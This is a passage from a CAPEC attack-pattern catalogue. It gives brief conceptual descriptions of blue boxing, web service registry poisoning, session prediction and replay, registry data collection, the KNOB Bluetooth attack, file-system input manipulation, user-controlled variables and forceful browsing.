This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.